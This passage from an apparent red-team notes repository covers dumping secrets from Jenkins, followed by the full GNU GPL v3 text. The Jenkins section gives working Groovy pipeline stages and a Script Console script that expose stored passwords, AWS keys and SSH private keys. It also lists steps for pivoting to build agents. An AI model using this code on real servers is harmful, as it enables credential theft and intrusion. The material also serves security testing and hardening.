in Jenkins ( username:password, AWS credential, secret file, secret text, Github credentials, certificate ) 17 | - The withCredentials() function can pass the credential id for the required secret and that credential will be available as an environment variable. 18 | - If there are some global credentials or credentials for the current project scope we can dump them. 19 | - It is important to know the name of the parameter, and if you have guessed correctly we can get the parameter id from here ( http://host:ip/credentials/ ) 20 | - Credentials Bindings ( https://www.jenkins.io/doc/pipeline/steps/credentials-binding/ ) 21 | 22 | - Dumping Username:Password 23 | ``` Groovy 24 | stage('Credential Dumping') { 25 | steps { 26 | withCredentials( 27 | [usernameColonPassword(credentialsId: '3b258e73-5e16-4338-883e-7a24927aefe1', variable: 'USERPASS')] 28 | ) { 29 | sh ''' 30 | echo "$USERPASS" | base64 31 | ''' 32 | } 33 | } 34 | } 35 | ``` 36 | - Dumping AWS Keys ( References : https://stackoverflow.com/questions/53859575/jenkinsfile-access-aws-credentials ) 37 | ``` 38 | stage('Credential Dumping') { 39 | steps { 40 | withCredentials([[$class: 'AmazonWebServicesCredentialsBinding',credentialsId: "8ada641e-429c-4547-9921-a1581dbf86ef",accessKeyVariable: 'AWS_ACCESS_KEY_ID',secretKeyVariable: 'AWS_SECRET_ACCESS_KEY' 41 | ]]) { 42 | sh ''' 43 | echo "$AWS_ACCESS_KEY_ID" | base64 44 | ''' 45 | } 46 | } 47 | } 48 | ``` 49 | 50 | ## Credential ID Dumping 51 | 52 | - Imagine we don't have access to ```http://host:ip/credentials/``` to list the credentials id 53 | - We can either look through the code repository hunting for these id or we need a piece of luck we can use Built-In executor 54 | - When ```# of exectors``` in ```Configure System``` is set to non-zero, we can run builds on the controller, which means we have access to the controllers file system. 55 | - Reference - https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials 56 | ``` Groovy 57 | stage('Identifier Dumping') { 58 | steps { 59 | sh ''' 60 | cat $JENKINS_HOME/credentials.xml | grep "" 61 | ''' 62 | } 63 | } 64 | ``` 65 | 66 | 67 | 68 | ## Credentials & Configuration Dumping Build Agents Information 69 | 70 | - This will be somewhat a borderline between credential dumping and lateral movement/backdooring. 71 | - If the Jenkins Controller use SSH to the build agents we can try to dump those ssh keys and get access to the build agents. 72 | - If some fields are not entered during configuration, then they might throw error while calling withCredentials(sshUserPrivateKey) ( as I have not used paraphrase , trying to dump paraphrase would throw error ) 73 | - So we need luck here again as configuration files are stored in controller. 74 | - Step 1 : Dump the ssh identifiers 75 | - Step 2 : Dump the ssh keys ( Reference : https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials ) 76 | - Step 3 : Dump the nodes configuration ( note : the path to the Worker-Node is found through traversing the nodes under $JENKINS_HOME/nodes) 77 | - Step 4 : Use the user-name, and hostname and ssh-key to login to the build agent 78 | ``` Groovy 79 | stage('Identifier Dumping') { 80 | steps { 81 | sh ''' 82 | cat $JENKINS_HOME/credentials.xml | grep "" 83 | ''' 84 | } 85 | } 86 | 87 | stage('Host Information Dumping') { 88 | steps { 89 | sh ''' 90 | cat /var/lib/jenkins/nodes/Worker-Node/config.xml 91 | ''' 92 | } 93 | } 94 | 95 | stage('Dumping sshUserPrivateKey') { 96 | steps { 97 | script { 98 | withCredentials([sshUserPrivateKey( 99 | credentialsId: 'dd0f4c9e-01dc-47c3-a0cd-3fff32e2a6cd', 100 | keyFileVariable: 'keyFile', 101 | passphraseVariable: 'passphrase', 102 | usernameVariable: 'username') 103 | ]){ 104 | print 'keyFile=' + keyFile 105 | print 'username=' + username 106 | print 'keyFile.collect { it }=' + keyFile.collect { it } 107 | 108 | print 'username.collect { it }=' + username.collect { it } 109 | print 'keyFileContent=' + readFile(keyFile) 110 | } 111 | } 112 | } 113 | } 114 | ``` 115 | 116 | 117 | 118 | 119 | 120 | ## Credentials Dumping from Script Console 121 | 122 | - Credentials can be dumped from the Script Console 123 | ``` Groovy 124 | //copied from https://gist.github.com/timja/04afb12c8ad909e400317a2ad9c88445 125 | import com.cloudbees.plugins.credentials.* 126 | import com.cloudbees.plugins.credentials.common.* 127 | import com.cloudbees.plugins.credentials.domains.* 128 | import com.cloudbees.plugins.credentials.impl.* 129 | import com.cloudbees.jenkins.plugins.sshcredentials.impl.* 130 | import org.jenkinsci.plugins.plaincredentials.impl.* 131 | 132 | 133 | // def item = Jenkins.instance.getItem("your-folder") 134 | 135 | def creds = CredentialsProvider.lookupCredentials( 136 | com.cloudbees.plugins.credentials.Credentials.class, 137 | Jenkins.instance, // replace with item to get folder or item scoped credentials 138 | null, 139 | null 140 | ); 141 | 142 | for (credential in creds) { 143 | if (credential instanceof UsernamePasswordCredentialsImpl) { 144 | println credential.getId() + " " + credential.getUsername() + " " + credential.getPassword().getPlainText() 145 | } else if (credential instanceof StringCredentialsImpl) { 146 | println credential.getId() + " " + credential.getSecret().getPlainText() 147 | } else if(credential instanceof BasicSSHUserPrivateKey) { 148 | println credential.getId() + " " + credential.getUsername() + "\n" + credential.getPrivateKey() + "\n Passphrase: " + credential.getPassphrase() 149 | } else if (credential.getClass().toString() == "class com.microsoft.azure.util.AzureCredentials") { 150 | println "AzureCred:" + credential.getSubscriptionId() + " " + credential.getClientId() + " " + credential.getPlainClientSecret() + " " + credential.getTenant() 151 | } else if (credential.getClass().toString() == "class org.jenkinsci.plugins.github_branch_source.GitHubAppCredentials") { 152 | println credential.getId() + " " + credential.getUsername() + "\n" + credential.getPrivateKey().getPlainText() 153 | } else if (credential.getClass().toString() == "class com.cloudbees.jenkins.plugins.awscredentials.AWSCredentialsImpl") { 154 | println credential.getId() + " " + credential.getAccessKey() + " " + credential.getSecretKey() 155 | } else if (credential.getClass().toString() == "class com.microsoft.jenkins.keyvault.SecretStringCredentials" 156 | || credential.getClass().toString() == "class org.jenkinsci.plugins.azurekeyvaultplugin.credentials.string.AzureSecretStringCredentials") { 157 | } else { 158 | println credential.getClass() 159 | } 160 | } 161 | ``` 162 | 163 | ### Global Credentials 164 | 165 | - There can be credentials that can be limited to one project but configured as a global credential. 166 | - Global credentials are avaiable in all the projects. Hence if one project pipeline / scm is compromised, the secured ones will also be affected. 167 | - Imagine if we have AWS Access keys that are marked as global crdential used in Project A. Project B will also have access to that credential. 168 | 169 | ## Offline Credentials Cracking 170 | 171 | - TODO 172 | 173 | 174 | ## References 175 | - https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials 176 | - https://www.jenkins.io/blog/2019/02/21/credentials-masking/ 177 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS 